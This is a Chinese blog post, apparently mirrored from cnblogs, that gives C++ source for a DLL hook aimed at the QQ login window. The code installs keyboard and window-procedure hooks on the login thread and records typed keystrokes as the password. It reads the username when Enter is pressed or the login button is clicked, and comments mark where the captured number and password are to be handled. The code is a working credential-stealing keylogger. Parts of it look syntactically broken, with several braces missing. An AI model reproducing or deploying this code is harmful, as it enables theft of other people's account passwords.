zoukankan      html  css  js  c++  java
  • 一个dll钩子代码

     

    #include<windows.h>
    HWND hQQLandDlg=NULL;
    HWND hUserNameEdit=NULL;
    HWND hPasswordComboBox=NULL;
    HWND hButton=NULL;
    HHOOK hKeyboard=NULL;
    HHOOK hWndProc=NULL;
    HINSTANCE hHookDll;
    char szPassword[128];
    char szUserName[128];
    int pszPasswordLen;

    LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam );
    LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) ;
    BOOL WINAPI SetHook ( HWND hQQLand, HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall ) 

    if ( isInstall ) 

    hQQLandDlg = hQQLand ; 
    hUserNameEdit = hUserName ; 
    hPasswordComboBox = hPassword ; 
    hButton = hLandButton ;

    DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ; 
    hHookDll = GetModuleHandle ( "MyQQHook" ) ;

    hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, 
    (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

    hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC, 
    (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

    if ( hKeyboard != NULL && hWndProc != NULL ) 
    return true ; 
    }

    else 

    UnhookWindowsHookEx ( hKeyboard ) ; 
    UnhookWindowsHookEx ( hWndProc ) ;

    hHookDll = NULL ; 
    hKeyboard = NULL ; 
    hWndProc = NULL ; 
    ZeroMemory ( szPassword, 128 ) ; 
    pszPasswordLen = 0 ; 
    }

    return false ; 
    }

    LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam ) 
    {

    //检测回车键是否被按下 
    if ( wParam == VK_RETURN && lParam > 0 ) 
    {

    //由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的 
    SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

    //此处可以自由处理拦截到的号码和密码(szUserName,szPassword)

    //不要忘了变量还原(szUserName,szPassword) 
    }

    if ( lParam > 0 && wParam != VK_RETURN ) 

    char KeyName[10] ; 
    ZeroMemory ( KeyName, 10 ) ; 
    GetKeyNameText ( lParam, KeyName, 10 ) ;

    if ( strlen ( KeyName ) == 1 ) 

    strcat ( szPassword, KeyName ) ; 

    }

      return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ; 
    }

    LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) 

    CWPSTRUCT *p = (CWPSTRUCT*)lParam ; 
    if ( p->message == WM_COMMAND && p->hwnd == hButton ) 
    {//同理

    SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

    //这里可添加如何处理密码的语句 

    return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ; 
    }

    主要问题是如何获得QQ的控件句柄!!呵呵!!有难度啊!!

  • 相关阅读:
    Mysql千万级访问量架构
    [JAVA]《Java 核心技术》(一)
    [Linux 命令]获取当前目录下某种格式文件个数
    [项目bug收集整理3]get页面,post页面的url 参数预防问题
    [项目bug收集整理2] Map的key,如果是非内置对象,需要自己实现hashCode和equals方法
    [项目bug收集整理1]Integer 对象的相等比较
    锂电池保护原理
    (转载)mos管电压规格是什么,什么是VMOS管栅极
    (转载) MOS管区分NP沟道
    Idea中使用Lombok 编译报找不到符号
  • 原文地址:https://www.cnblogs.com/dyc0113/p/3174804.html
Copyright © 2011-2022 走看看